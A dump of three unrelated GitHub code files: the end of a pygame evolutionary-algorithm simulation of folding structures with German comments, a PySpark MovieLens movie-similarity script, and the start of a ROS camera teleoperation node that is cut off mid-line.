writer.writerows(data)\r\n print_csv(new_2_population,1)\r\n print(\"Print to csv:\", new_2_population)\r\n population2 = new_2_population\r\n \r\n \r\n#########################################\r\ndef humidity_level(frame):\r\n i = (frame-5) * 0.05\r\n return(round((math.sin(0.5*i-14)+1)*50,1))#\r\n\r\ndef startpopulation(populationsnum, o):\r\n global population, sum_laenge, hygroskopizität, population2\r\n if generation_nr == 1:\r\n for i in range(0,populationsnum):\r\n gelenke_pos=[]\r\n laengen=[]\r\n gelenke_hygr=[]\r\n gelenke_status = []\r\n for l in range(0,faltflaechen):\r\n laenge = random.randint(7,100)\r\n laengen.append(laenge)\r\n sum_laenge += laenge\r\n for k in range(0,gelenke_hidden):\r\n num = random.randint(-90,90)\r\n gelenke_hygr.append(num)\r\n hygroskopizität.append(num)\r\n gelenke_status.append((1,0))\r\n genotyp = (0, laengen, gelenke_hygr, gelenke_pos, gelenke_status, 0)\r\n population.append(genotyp)\r\n else:\r\n \r\n gelenke_pos=[]\r\n laengen=population2[o][0]\r\n gelenke_hygr=population2[o][1]\r\n gelenke_status = []\r\n for l in range(len(population2[o][0])):\r\n sum_laenge += population2[o][0][l]\r\n for k in range(len(population2[o][1])):\r\n hygroskopizität.append(population2[o][1][k])\r\n gelenke_status.append((1,0))\r\n genotyp = (0, laengen, gelenke_hygr, gelenke_pos, gelenke_status, 0)\r\n population.append(genotyp)\r\n print(\"Von population2 übernommen:\", population)\r\n\r\n\r\ndef collision(population_nr, origin, endpoint, flaeche_nr, frame):\r\n global collision_nr\r\n global population\r\n obstacles = population[population_nr][3]\r\n obstacle_nr = len(obstacles)-1 #1. weil die Anzahl der Paare 1 kleiner als die Anzahl Flächen ist + (2.) weil die geraden eben gemachte Fläche nicht zählt\r\n \r\n #for all starts and ends of all objects n\r\n for n in range(0,obstacle_nr):\r\n start = obstacles[n]\r\n end = obstacles[n+1]\r\n pygame.draw.line(screen, (255, 0, 0), start, end) #obstacle\r\n pos = intersect_line_line(start, end, origin, endpoint)\r\n if pos:\r\n counter = 0\r\n #benachbarte Flächen ==> dann war es doch keine Berührung\r\n if abs(n-flaeche_nr) == 1:\r\n pass\r\n else:\r\n #wirkliche Berührung\r\n #collision_nr = collision_nr + 1\r\n #print(\"collision between:\",n,flaeche_nr)\r\n pygame.draw.circle(screen, (0, 255, 0), (round(pos[0]), round(pos[1])), 3)\r\n #Gelenke zwischen den Flächen ausschalten\r\n if n < flaeche_nr:\r\n for t in range(n, flaeche_nr):\r\n #Winkel schon blockiert? Dann lassen.\r\n if population[population_nr][5][t][0] == 0:\r\n pass\r\n else:\r\n population[population_nr][5][t] = (0, frame)\r\n else:\r\n for t in range(flaeche_nr, n):\r\n if population[population_nr][5][t][0] == 0:\r\n pass\r\n else:\r\n population[population_nr][5][t] = (0, frame)\r\n #print(population[population_nr][5])\r\n\r\n\r\n\r\ndef intersect_line_line(P0, P1, Q0, Q1): #P ist obstacle, Q ist ray (bewegliche Linie)\r\n d = (P1[0]-P0[0]) * (Q1[1]-Q0[1]) + (P1[1]-P0[1]) * (Q0[0]-Q1[0]) \r\n #delta x von P * delta y von Q +delta y von P * delta x von Q\r\n if d == 0:\r\n return None\r\n t = ((Q0[0]-P0[0]) * (Q1[1]-Q0[1]) + (Q0[1]-P0[1]) * (Q0[0]-Q1[0])) / d\r\n #delta zwischen x von P/Q * delta y von Q + delta zwischen y von P/Q * delta x von Q\r\n u = ((Q0[0]-P0[0]) * (P1[1]-P0[1]) + (Q0[1]-P0[1]) * (P0[0]-P1[0])) / d\r\n #delta zwischen x von P/Q * delta y von P + delta zwischen y von P/Q * delta x von P\r\n if 0 <= t <= 1 and 0 <= u <= 1:\r\n return P1[0] * t + P0[0] * (1-t), P1[1] * t + P0[1] * (1-t)\r\n return None\r\n\r\ndef sp_calc(p1, p2, k, population_nr, frame):\r\n y_coord = p1[1] + (p2[1]-p1[1])/2\r\n x_coord = p1[0] + (p2[0]-p1[0])/2 \r\n #drawing SP\r\n pygame.draw.circle(screen, (255, 0, 0), (x_coord, y_coord), 3)\r\n \r\n #calculating \"mass\"\r\n \r\n m = math.sqrt((p2[0]-p1[0])**2 + (p2[1]-p1[1])**2)*3\r\n l = math.sqrt((p2[0]-p1[0])**2 + (p2[1]-p1[1])**2)\r\n if len(sp_list) == faltflaechen:\r\n sp_list[k] = (x_coord, y_coord,l)\r\n else:\r\n sp_list.append((x_coord, y_coord,l))\r\n sp()\r\n gravity_vec(x_coord, y_coord, m,k, population_nr, frame)\r\n \r\ndef sp():\r\n global sp_point\r\n x = 0\r\n y = 0\r\n l = 0\r\n for i in range(len(sp_list)):\r\n x += sp_list[i][0]*sp_list[i][2]\r\n y += sp_list[i][1]*sp_list[i][2]\r\n l += sp_list[i][2]\r\n try:\r\n pygame.draw.circle(screen, (0, 0, 255), (x/l,y/l), 5)\r\n sp_point = (x/l,y/l)\r\n except:\r\n print(\"Error: DIVISION BY 0\")\r\n \r\n \r\ndef gravity_vec(x,y, m,k, population_nr, frame):\r\n force_magnifier = 0.02\r\n force = g * force_magnifier * m\r\n #Einzelne Vektoren zeichnen\r\n #g_vector = pygame.draw.line(screen, (255,0,0), (x,y),(x,y+force),1)\r\n if len(g_vectors) == faltflaechen:\r\n g_vectors[k] = (x,y,force)\r\n gravity_sum_vec(population_nr, frame)\r\n else:\r\n g_vectors.append((x,y,force))\r\n\r\ndef gravity_sum_vec(population_nr, frame):\r\n x_sum = 0\r\n y_sum = 0\r\n forces_sum = 0\r\n for i in range(len(g_vectors)):\r\n x_sum += g_vectors[i][0]\r\n y_sum += g_vectors[i][1]\r\n forces_sum += g_vectors[i][2]\r\n x_sum_avg = x_sum/len(g_vectors) #durchschnittliche x-Koordinate der Vektoren (Angriffspunkte)\r\n y_sum_avg = y_sum/len(g_vectors)\r\n forces_sum_avg = forces_sum\r\n #g_sum_vector = pygame.draw.line(screen, (255,0,0), (x_sum_avg,y_sum_avg),(x_sum_avg,y_sum_avg+forces_sum_avg),1)\r\n #pygame.draw.circle(screen, (0, 0, 255), (x_sum_avg,y_sum_avg), 3)\r\n \r\n\r\ndef gravity(population_nr, frame):\r\n global y_offset, population, startpunkt, turning_angles, friction_x, x_offset\r\n \r\n \r\n m, p1, p2, z1, z2 = gravity_line(population_nr)\r\n pygame.draw.circle(screen, (0, 0, 255), p2, 3)\r\n pygame.draw.circle(screen, (0, 0, 255), p1, 3)\r\n \r\n\r\n objekt_nr = population_nr\r\n #ganzes Objekt am \"geerdeten\" Punkt um einen Winkel drehen\r\n alpha = math.degrees(math.atan(m))\r\n alpha = math.radians(alpha)\r\n turning_angles = alpha\r\n ################################################\r\n \r\n #print(\"vorher:\", frame, population[population_nr][3])\r\n if m > 0: #EIGENTLICH: m<0 !!!\r\n #print(\"m = POSITIV\")\r\n if type(friction_x) == int:\r\n friction_x = (p1[0], z1)\r\n elif friction_x[1] == z1:\r\n x_offset = friction_x[0]-p1[0]\r\n else:\r\n friction_x = (p1[0], z1)\r\n \r\n draw_points[z1]=p1\r\n \r\n #REAL Y_OFFSET\r\n y_min = p1[1]\r\n if y_min < y_boden:\r\n y_offset = abs(y_boden-y_min)\r\n else:\r\n y_offset = -1*abs(y_boden-y_min)\r\n \r\n #Objekt auf den boden verschieben\r\n startpunkt = (startpunkt[0], startpunkt[1]+y_offset)\r\n for u in range(len(population[population_nr][3])):\r\n population[population_nr][3][u] = (population[population_nr][3][u][0],population[population_nr][3][u][1]+y_offset)\r\n \r\n \r\n for t in range(len(population[objekt_nr][3])):\r\n #distanz zwischen P1 und dem anderen Punkt Pn\r\n r = math.sqrt((population[objekt_nr][3][t][0]-p1[0])**2+(population[objekt_nr][3][t][1]-p1[1])**2)\r\n if r == 0:\r\n pass\r\n else:\r\n #Drehung um alpha\r\n \r\n #x = 1*population[objekt_nr][3][t][0]*math.cos(alpha) - population[objekt_nr][3][t][1]*math.sin(alpha)\r\n #y = 1*population[objekt_nr][3][t][0]*math.sin(alpha) + population[objekt_nr][3][t][1]*math.cos(alpha)\r\n x_2 = population[population_nr][3][t][0]\r\n y_2 = population[population_nr][3][t][1]\r\n x_1 = p1[0]\r\n y_1 = p1[1]\r\n \r\n if x_1 == x_2:\r\n #Punkt ist das Drehzentrum, Koordinaten bleiben somit gleich\r\n \r\n pass\r\n else:\r\n m3 = (y_1-y_2)/(x_2-x_1)\r\n if population[population_nr][3][t][0] > p1[0]:\r\n beta = math.degrees(math.atan(m3))\r\n beta = math.radians(beta)\r\n x = p1[0]+r*math.cos(beta-alpha)\r\n y = p1[1]-r*math.sin(beta-alpha)\r\n \r\n #turn(x,y,t, population_nr, frame)\r\n else: \r\n beta = math.degrees(math.atan(m3))\r\n beta = math.radians(beta)\r\n x = p1[0]+r*math.cos(beta-alpha+math.radians(180))\r\n y = p1[1]-r*math.sin(beta-alpha+math.radians(180))\r\n \r\n #turn(x,y,t, population_nr, frame)\r\n # c = 300\r\n # pygame.draw.line(screen, (255, 0, 255), (p1[0],p1[1]), (p1[0]+c,p1[1]-m*c), 6)\r\n if t == 0:\r\n pygame.draw.circle(screen, (255,0,0), (x,y), 3)\r\n else:\r\n pygame.draw.circle(screen, (255,0,255), (x,y), 3)\r\n if t > z1:\r\n draw_points[t] = (x,y)\r\n \r\n elif t == z1:\r\n pass\r\n else:\r\n draw_points[t] = (x,y) \r\n \r\n \r\n else:\r\n #print(\"m = NEGATIV\")\r\n if type(friction_x) == int:\r\n friction_x = (p2[0], z2)\r\n elif friction_x[1] == z2:\r\n x_offset = friction_x[0]-p2[0]\r\n else:\r\n friction_x = (p2[0], z2)\r\n draw_points[z2]=p2\r\n \r\n #REAL Y_OFFSET\r\n y_min = p2[1]\r\n if y_min < y_boden:\r\n y_offset = abs(y_boden-y_min)\r\n else:\r\n y_offset = -1*abs(y_boden-y_min)\r\n \r\n #Objekt auf den boden verschieben\r\n startpunkt = (startpunkt[0], startpunkt[1]+y_offset)\r\n for u in range(len(population[population_nr][3])):\r\n population[population_nr][3][u] = (population[population_nr][3][u][0],population[population_nr][3][u][1]+y_offset)\r\n \r\n for t in range(len(population[objekt_nr][3])):\r\n \r\n #distanz zwischen P1 und dem anderen Punkt Pn\r\n r = math.sqrt((population[objekt_nr][3][t][0]-p2[0])**2+(population[objekt_nr][3][t][1]-p2[1])**2)\r\n if r == 0:\r\n pass\r\n else:\r\n #Drehung um alpha\r\n x_2 = population[population_nr][3][t][0]\r\n y_2 = population[population_nr][3][t][1]\r\n x_1 = p2[0]\r\n y_1 = p2[1]\r\n if x_1 == x_2:\r\n #Punkt ist das Drehzentrum, Koordinaten bleiben somit gleich\r\n \r\n pass\r\n else:\r\n m3 = (y_1-y_2)/(x_2-x_1)\r\n if population[population_nr][3][t][0] > p2[0]:\r\n beta = math.degrees(math.atan(m3))\r\n beta = math.radians(beta)\r\n x = p2[0]+r*math.cos(beta-alpha)\r\n y = p2[1]-r*math.sin(beta-alpha)\r\n #turn(x,y,t, population_nr, frame) \r\n else: \r\n \r\n beta = math.degrees(math.atan(m3))\r\n beta = math.radians(beta)\r\n x = p2[0]+r*math.cos(beta-alpha+math.radians(180))\r\n y = p2[1]-r*math.sin(beta-alpha+math.radians(180))\r\n #turn(x,y,t, population_nr, frame)\r\n # c = 300\r\n # pygame.draw.line(screen, (255, 0, 255), (p1[0],p1[1]), (p1[0]+c,p1[1]-m*c), 6)\r\n if t == 0:\r\n pygame.draw.circle(screen, (255,0,0), (x,y), 3)\r\n else:\r\n pygame.draw.circle(screen, (255,0,255), (x,y), 3)\r\n if t > z2:\r\n draw_points[t] = (x,y) \r\n \r\n elif t == z2:\r\n pass\r\n else:\r\n draw_points[t] = (x,y) \r\n \r\n #print(x,y, r, beta) \r\n #print(\"nachher:\", frame, population[population_nr][3])\r\n #print(frame, draw_points)\r\n \r\n \r\n #population[population_nr] = (population[population_nr][0],population[population_nr][1],population[population_nr][2],draw_points, population[population_nr][4], population[population_nr][5],population[population_nr][6])\r\n \r\n\r\n \r\ndef turn(x,y,n, population_nr, frame):\r\n global population, startpunkt, draw_points \r\n if frame > 10:\r\n if n == 0:\r\n population[population_nr][3][n] = (x,y)\r\n if n == 1:\r\n population[population_nr][3][n] = (x,y)\r\n draw_points.append((x,y)) \r\n pass\r\n\r\n ########################################################\r\n\r\ndef gravity_line(population_nr):\r\n global population, sp_point\r\n Gelenke_Koordinaten_Liste = population[population_nr][3]\r\n rechts_von_S = []\r\n links_von_S = []\r\n a,b = (0,0), (0,0)\r\n for i in range(len(Gelenke_Koordinaten_Liste)):\r\n if Gelenke_Koordinaten_Liste[i][0] > sp_point[0]:\r\n rechts_von_S.append(Gelenke_Koordinaten_Liste[i])\r\n else:\r\n links_von_S.append(Gelenke_Koordinaten_Liste[i])\r\n switch = 1\r\n while switch == 1:\r\n #Funktion\r\n m2 = 0\r\n for p1 in range(len(links_von_S)):\r\n for p2 in range(len(rechts_von_S)):\r\n #m und q bestimmen:\r\n x1 = links_von_S[p1][0]\r\n y1 = links_von_S[p1][1]\r\n x2 = rechts_von_S[p2][0]\r\n y2 = rechts_von_S[p2][1]\r\n \r\n m = (y2-y1)/(x2-x1)\r\n m2 = (y1-y2)/(x2-x1)\r\n q = y1 - m*x1\r\n \r\n counter = 0\r\n \r\n #falls kein Punkt unter der Funktion -> fertig -> break?\r\n for z in range(len(Gelenke_Koordinaten_Liste)):\r\n x3 = Gelenke_Koordinaten_Liste[z][0]\r\n y3 = Gelenke_Koordinaten_Liste[z][1]\r\n #Wenn ein Punkt unter der Gerade ist:\r\n if round(y3,1) > round((m*x3 + q),1):\r\n #print(\"con:\",round(y3,1),round((m*x3 + q),1), round((m*x3 + q),1)-round(y3,1))\r\n #weitersuchen\r\n pass\r\n else:\r\n #Funktion (m, q) und Gelenke (p1, p2) gefunden: \r\n counter += 1\r\n pass\r\n \r\n if counter == len(Gelenke_Koordinaten_Liste):\r\n #Gelenke, die den Boden berühren\r\n pygame.draw.line(screen, (255,0,0), (links_von_S[p1][0],links_von_S[p1][1]),(rechts_von_S[p2][0],rechts_von_S[p2][1]),1)\r\n a = (links_von_S[p1][0],links_von_S[p1][1])\r\n b = (rechts_von_S[p2][0],rechts_von_S[p2][1])\r\n #gravity((links_von_S[p1][0],links_von_S[p1][1]),(rechts_von_S[p2][0],rechts_von_S[p2][1]),m, population_nr, frame_nr)\r\n #Welche Gelenk-Nummer in der Gelenk-Liste\r\n z1, z2 = p1, len(links_von_S)+p2\r\n return m2, a, b, z1, z2\r\n switch = 0\r\n else:\r\n pass\r\n \r\n\r\ndef boden(laenge, breite):\r\n pygame.draw.line(screen, (0,0,0), (0, y_boden),(laenge,y_boden),3)\r\n\r\ndef draw_gelenke(x,y):\r\n pygame.draw.circle(screen, (0, 0, 0), (x,y), 4)\r\n \r\n\r\ndef draw(population_nr, frame):\r\n global population, draw_points, turning_angles, x_offset\r\n gelenke_pos = []\r\n gelenke_collision = []\r\n gelenke_winkel = []\r\n \r\n if frame == 1:\r\n gelenke_pos.append(startpunkt)\r\n status = population[population_nr][4]\r\n else:\r\n gelenke_pos.append(population[population_nr][3][0])\r\n status = population[population_nr][5]\r\n \r\n \r\n #Für alle Flächen eines Objektes\r\n for k in range(len(population[population_nr][1])): \r\n #Für die erste Fläche\r\n \r\n #Biegung der Gelenke? => Blockiert oder nicht?\r\n if status[k-1][0] == 1:\r\n alpha = population[population_nr][2][k-1]*(humidity_level(frame)/100)\r\n else: \r\n #Winkel blockiert!\r\n frame2 = status[k-1][1]\r\n #Winkel-Blockierung aufheben?\r\n num = int(frame / 252)\r\n if 252-(frame2-num*252) < frame-num*252:\r\n alpha = population[population_nr][2][k-1]*(humidity_level(frame)/100)\r\n status[k-1] = (1, 0)\r\n else:\r\n #immer noch blockiert\r\n alpha = population[population_nr][2][k-1]*(humidity_level(frame2)/100)\r\n \r\n P1x = gelenke_pos[-1][0]\r\n P1y = gelenke_pos[-1][1]\r\n \r\n \r\n P2x = math.cos(math.radians(alpha))*population[population_nr][1][k] #-beta\r\n P2y = math.sin(math.radians(alpha))*population[population_nr][1][k] #-beta\r\n #Ort des Punkt n wird durch vorherigen Punkt n-1 berechnet und zur Gelenke-Liste hinzugefügt\r\n gelenke_pos.append((P1x+P2x,P1y-P2y))\r\n #Gelenk und Fläche wird berechnet\r\n draw_gelenke(P1x+P2x,P1y-P2y)\r\n pygame.draw.line(screen, (0,0,0), (P1x,P1y),(P1x+P2x,P1y-P2y),3) #surface, color, p1, p2, width\r\n \r\n #letzte Fläche hinzugefügt => fertig\r\n if k+1 == faltflaechen:\r\n fitness = 0\r\n if frame > 6:\r\n fitness_evaluation = []\r\n for o in range(len(population[population_nr][3])):\r\n fitness_evaluation.append(population[population_nr][3][o][0])\r\n \r\n fitness = round((max(fitness_evaluation)-startpunkt[0]-sum_laenge)/frame,3)\r\n if population[population_nr][6] > fitness:\r\n fitness = population[population_nr][6]\r\n else:\r\n pass\r\n population[population_nr] = (population[population_nr][0],population[population_nr][1],population[population_nr][2],gelenke_pos, gelenke_collision, status,fitness) \r\n if frame == zyklen*252-2:\r\n print(\"Print to csv:\",population[population_nr][1])\r\n print(\"UND:\", [population[population_nr][6]])\r\n fitness2 = [population[population_nr][6]]\r\n print_csv([population[population_nr][1],hygroskopizität,fitness2],0)\r\n \r\n #checking for collision\r\n for k in range(len(population[population_nr][3])-1):\r\n x1 = population[population_nr][3][k][0]\r\n y1 = population[population_nr][3][k][1]\r\n x2 = population[population_nr][3][k+1][0]\r\n y2 = population[population_nr][3][k+1][1]\r\n collision(population_nr, (x1,y1),(x2,y2), k, frame)\r\n #SP berechnen\r\n sp_calc((x1,y1),(x2,y2),k, population_nr, frame)\r\n \r\n if frame > 5:\r\n \r\n draw_points=[]\r\n for i in range(faltflaechen+1):\r\n draw_points.append(\" \")\r\n gravity(population_nr, frame)\r\n try:\r\n for i in range(len(draw_points)):\r\n population[population_nr][3][i] = (draw_points[i][0]+x_offset, draw_points[i][1])\r\n population[population_nr][2][i] = population[population_nr][2][i]-math.degrees(turning_angles)\r\n except:\r\n pass\r\n #print(population[population_nr])\r\n\r\n##################################\r\n#LOOP\r\ngeneration_nr = 0\r\nprint(generations)\r\nwhile generation_nr < generations:\r\n generation_nr += 1\r\n if generation_nr == 1:\r\n population_limit = population_limit\r\n else: \r\n population_limit = nr_in_generation\r\n for i in range(population_limit):\r\n print(\"Generation\",generation_nr, \"Objekt\", i)\r\n frame = 0\r\n population = []\r\n hygroskopizität = []\r\n sum_laenge = 0\r\n while True: #game loop\r\n screen.fill((255,255,255))\r\n frame += 1\r\n \r\n #Simulation finished?\r\n if frame > zyklen*252:\r\n \r\n pop_nr = pop_nr + 1\r\n plot_animation(0)\r\n break\r\n # if pop_nr >= population_limit: \r\n # pygame.quit()\r\n # sys.exit()\r\n \r\n #X pressed?\r\n for event in pygame.event.get():\r\n if event.type == QUIT: #if X is clicked on the window\r\n pygame.quit() #stops pygame\r\n sys.exit() #stops the hole code\r\n \r\n \r\n #beginnning of simulation\r\n if frame == 1:\r\n startpopulation(populationsnum, i)\r\n print(\"Startpopulation\")\r\n print(population)\r\n \r\n boden(laenge, breite) \r\n #Für jedes Populationsmitglied\r\n for j in range(0,len(population)):\r\n draw(j, frame) \r\n \r\n \r\n \r\n pygame.display.update()\r\n clock.tick(fps_) #frame rate : 60 fps\r\n \r\n population2 = []\r\n population = []\r\n sel_reco_mut()\r\n if generation_nr+1 == generations:\r\n plot_animation(1)\r\n print(\"KONTROLLE:\", population2)\r\n #print(population2)\r\n #mit Exemplare von Population2 weitermachen!!!","repo_name":"GameMakerPremium/MA_Evolutionary_Algorithm","sub_path":"FINISHED_2.py","file_name":"FINISHED_2.py","file_ext":"py","file_size_in_byte":33003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3068149926","text":"import sys\r\nfrom pyspark import SparkConf, SparkContext\r\nfrom math import sqrt\r\nimport numpy as np\r\ndef loadMovieNames():\r\n movieNames = {}\r\n movieGenres = {}\r\n with open(\"./ml-100k/u.ITEM\", encoding='ascii', errors='ignore') as f:\r\n for line in f:\r\n fields = line.replace('\\n','').split('|')\r\n movieNames[int(fields[0])] = fields[1]\r\n genres = [ int(i) for i in fields[5:]]\r\n movieGenres[int(fields[0])] = genres\r\n return movieNames, movieGenres\r\n\r\n#Python 3 doesn't let you pass around unpacked tuples,\r\n#so we explicitly extract the ratings now.\r\ndef makePairs( userRatings ):\r\n ratings = userRatings[1]\r\n (movie1, rating1) = ratings[0]\r\n (movie2, rating2) = ratings[1]\r\n return ((movie1, movie2), (rating1, rating2))\r\n\r\ndef shared_genre(m1,m2):\r\n # print(m1)\r\n # print(m2)\r\n return bool(np.dot(m1,m2))\r\n\r\n\r\ndef filterDuplicates( userRatings ):\r\n ratings = userRatings[1]\r\n (movie1, rating1) = ratings[0]\r\n (movie2, rating2) = ratings[1]\r\n return movie1 < movie2\r\n\r\ndef computeCosineSimilarity(ratingPairs):\r\n numPairs = 0\r\n sum_xx = sum_yy = sum_xy = 0\r\n for ratingX, ratingY in ratingPairs:\r\n sum_xx += ratingX * ratingX\r\n sum_yy += ratingY * ratingY\r\n sum_xy += ratingX * ratingY\r\n numPairs += 1\r\n\r\n numerator = sum_xy\r\n denominator = sqrt(sum_xx) * sqrt(sum_yy)\r\n\r\n score = 0\r\n if (denominator):\r\n score = (numerator / (float(denominator)))\r\n\r\n return (score, numPairs)\r\n\r\n\r\nconf = SparkConf().setMaster(\"local[*]\").set(\"spark.driver.host\",'localhost').setAppName(\"MovieSimilarities\")\r\nsc = SparkContext(conf = conf)\r\n\r\nprint(\"\\nLoading movie names...\")\r\nnameDict, genre_dict = loadMovieNames()\r\n# print(genre_dict)\r\ndata = sc.textFile(\"./ml-100k/u.data\")\r\n\r\n\r\n# Map ratings to key / value pairs: user ID => movie ID, rating\r\nratings = data.map(lambda l: l.split()).map(lambda l: (int(l[0]), (int(l[1]), float(l[2]))))\r\n\r\n# r = ratings.take(10)\r\n# for rating in r:\r\n# print(rating)\r\n\r\n#Convert to average centered ratings\r\nonly_ratings = ratings.map(lambda l: (l[1][0], l[1][1]))\r\nonly_ratings = only_ratings.groupByKey().mapValues(lambda x: np.sum([i for i in x])/len([i for i in x]))\r\n# orr = only_ratings.take(10)\r\n# print(orr)\r\n# exit()\r\nratings_dict = { i:j for i,j in only_ratings.collect()}\r\n# print('ratings dict:')\r\n# print(ratings_dict)\r\naverage_rating_dict = sc.broadcast(ratings_dict)\r\n\r\nratings = ratings.mapValues(lambda l: (l[0], l[1] - average_rating_dict.value[l[0]]))\r\n\r\n\r\ndef CosineSimilarityWithGenreScale(line):\r\n numPairs = 0\r\n sum_xx = sum_yy = sum_xy = 0\r\n movie1 = line[0][0]\r\n movie2 = line[0][1]\r\n ratingPairs = line[1]\r\n for ratingX, ratingY in ratingPairs:\r\n sum_xx += ratingX * ratingX\r\n sum_yy += ratingY * ratingY\r\n sum_xy += ratingX * ratingY\r\n numPairs += 1\r\n\r\n numerator = sum_xy\r\n denominator = sqrt(sum_xx) * sqrt(sum_yy)\r\n genre_metric = np.dot(genre_dict[movie1],genre_dict[movie2])/(np.sum(genre_dict[movie1]) + np.sum(genre_dict[movie2]))\r\n\r\n score = 0\r\n if (denominator):\r\n score = genre_metric * (numerator / (float(denominator)))\r\n\r\n return ((movie1,movie2),(score, numPairs))\r\n\r\ndef CosineSimilarityWithCoRatings(line):\r\n numPairs = 0\r\n sum_xx = sum_yy = sum_xy = 0\r\n movie1 = line[0][0]\r\n movie2 = line[0][1]\r\n ratingPairs = line[1]\r\n for ratingX, ratingY in ratingPairs:\r\n sum_xx += ratingX * ratingX\r\n sum_yy += ratingY * ratingY\r\n sum_xy += ratingX * ratingY\r\n numPairs += 1\r\n\r\n numerator = sum_xy\r\n denominator = sqrt(sum_xx) * sqrt(sum_yy)\r\n ratings_metric = np.log(len([i for i in ratingPairs])/10)\r\n score = 0\r\n if (denominator):\r\n score = ratings_metric * (numerator / (float(denominator)))\r\n\r\n return ((movie1,movie2),(score, numPairs))\r\n\r\n# Emit every movie rated together by the same user.\r\n# Self-join to find every combination.\r\njoinedRatings = ratings.join(ratings)\r\n\r\n# At this point our RDD consists of userID => ((movieID, rating), (movieID, rating))\r\n\r\n# Filter out duplicate pairs\r\nuniqueJoinedRatings = joinedRatings.filter(filterDuplicates)\r\n\r\n# Now key by (movie1, movie2) pairs.\r\nmoviePairs = uniqueJoinedRatings.map(makePairs)\r\n\r\n# We now have (movie1, movie2) => (rating1, rating2)\r\n# Now collect all ratings for each movie pair and compute similarity\r\nmoviePairRatings = moviePairs.groupByKey()\r\n\r\n# We now have (movie1, movie2) = > (rating1, rating2), (rating1, rating2) ...\r\n# Can now compute similarities.\r\n# moviePairSimilarities = moviePairRatings.mapValues(computeCosineSimilarity).cache()\r\n# print(moviePairRatings.take(10))\r\n# exit()\r\nmoviePairSimilarities = moviePairRatings.map(CosineSimilarityWithCoRatings).cache()\r\n\r\n# Save the results if desired\r\n#moviePairSimilarities.sortByKey()\r\n#moviePairSimilarities.saveAsTextFile(\"movie-sims\")\r\n\r\ndef result_filter(pairSim):\r\n t1 = (pairSim[0][0] == movieID)\r\n t2 = (pairSim[0][1] == movieID)\r\n t11 = False\r\n if(t1):\r\n t11 = shared_genre(genre_dict[pairSim[0][1]],genre_dict[movieID])\r\n if(t2):\r\n t11 = shared_genre(genre_dict[pairSim[0][0]],genre_dict[movieID])\r\n\r\n t3 = pairSim[1][0] > scoreThreshold \r\n t4 = pairSim[1][1] > coOccurenceThreshold\r\n #Average rating threshold\r\n t5 = average_rating_dict.value[movieID] > average_rating_threshold\r\n #At least one shared genre threshold\r\n if((t1 or t2) and t11 and t3 and t4 and t5):\r\n return True\r\n\r\n return False\r\n# Extract similarities for the movie we care about that are \"good\".\r\nif (len(sys.argv) > 1):\r\n\r\n scoreThreshold = 0.01\r\n coOccurenceThreshold = 25\r\n average_rating_threshold = 2\r\n movieID = int(sys.argv[1])\r\n\r\n # Filter for movies with this sim that are \"good\" as defined by\r\n # our quality thresholds above\r\n # filteredResults = moviePairSimilarities.filter(lambda pairSim: \\\r\n # (pairSim[0][0] == movieID or pairSim[0][1] == movieID) \\\r\n # and pairSim[1][0] > scoreThreshold and pairSim[1][1] > coOccurenceThreshold)\r\n\r\n filteredResults = moviePairSimilarities.filter(result_filter) \r\n\r\n # Sort by quality score.\r\n results = filteredResults.map(lambda pairSim: (pairSim[1], pairSim[0])).sortByKey(ascending = False).take(10)\r\n\r\n print(\"Top 10 similar movies for \" + nameDict[movieID])\r\n # print(genre_dict[movieID])\r\n for result in results:\r\n (sim, pair) = result\r\n # Display the similarity result that isn't the movie we're looking at\r\n similarMovieID = pair[0]\r\n if (similarMovieID == movieID):\r\n similarMovieID = pair[1]\r\n print(nameDict[similarMovieID] + \"\\tscore: \" + str(sim[0]) + \"\\tstrength: \" + str(sim[1]))\r\n # print(genre_dict[similarMovieID])\r\n","repo_name":"rajkshah3/spark","sub_path":"spark_course/movie-similarities-pearson.py","file_name":"movie-similarities-pearson.py","file_ext":"py","file_size_in_byte":6827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16127865724","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport roslib\nroslib.load_manifest('teleoperation')\nimport sys\nimport rospy\nimport cv2\nimport numpy as np\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import CompressedImage\nfrom sensor_msgs.msg import Joy\n\nclass image_converter:\n def __init__(self):\n self.image_pub = rospy.Publisher(\"image_topic_2\", CompressedImage)\n self.image_sub = rospy.Subscriber(\"/usb_cam/image_raw/compressed\", CompressedImage, self.callback, queue_size = 1)\n self.joy_sub = rospy.Subscriber(\"/joy\", Joy ,self.joyCallback)\n self.black_screen = True\n\n def callback(self, data):\n np_arr = np.fromstring(data.data, np.uint8)\n image_np = cv2.imdecode(np_arr, cv2.CV_LOAD_IMAGE_GRAYSCALE)\n image_height, image_width = image_np.shape[:2]\n # Crop image\n image_np = image_np[0.5*image_height-120:0.5*image_height+150, 0.5*image_width-160:0.5*image_width+160]\n\n # Enable fullscreen\n cv2.namedWindow(\"test\", cv2.WND_PROP_FULLSCREEN) \n cv2.setWindowProperty(\"test\", cv2.WND_PROP_FULLSCREEN, cv2.cv.CV_WINDOW_FULLSCREEN)\n\n # Draw lines\n image_height, image_width = image_np.shape[:2]\n center_x = int(0.5*image_width)\n center_y = int(0.5*image_height)\n '''\n cv2.circle(image_np, \n center = (center_x, center_y), \n radius = 10, \n color = 0, \n thickness = 5) \n '''\n cv2.line(image_np, (center_x, center_y+10), (center_x, center_y-10), color = 255)\n cv2.line(image_np, (center_x+10, center_y), (center_x-10, center_y), color = 255)\n #cv2.rectangle(image_np, (center_x-140, center_y-120), (center_x+140, center_y+120), color = 255, thickness = 1)\n cv2.rectangle(image_np, (center_x-60, center_y-60), (center_x+60, center_y+60), color = 255, thickness = 1)\n \n\n if (self.black_screen):\n image_np = np.zeros_like(image_np)\n cv2.imshow(\"test\", image_np)\n cv2.waitKey(3)\n\n # Create compressedImage #\n msg = CompressedImage()\n msg.header.stamp = rospy.Time.now()\n msg.format = \"jpeg\"\n msg.data = np.array(cv2.imencode('.jpg', image_np)[1]).tostring()\n self.image_pub.publish(msg)\n \n def joyCallback(self, data):\n if(data.buttons[1]):\n self.black_screen = not(self.black_screen)\n rospy.loginfo(self.black_screen)\n\ndef main(args):\n ic = image_converter()\n rospy.init_node('image_converter', anonymous=True)\n try:\n rospy.spin()\n except KeyboardInterrupt:\n print(\"Shutting down\")\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n 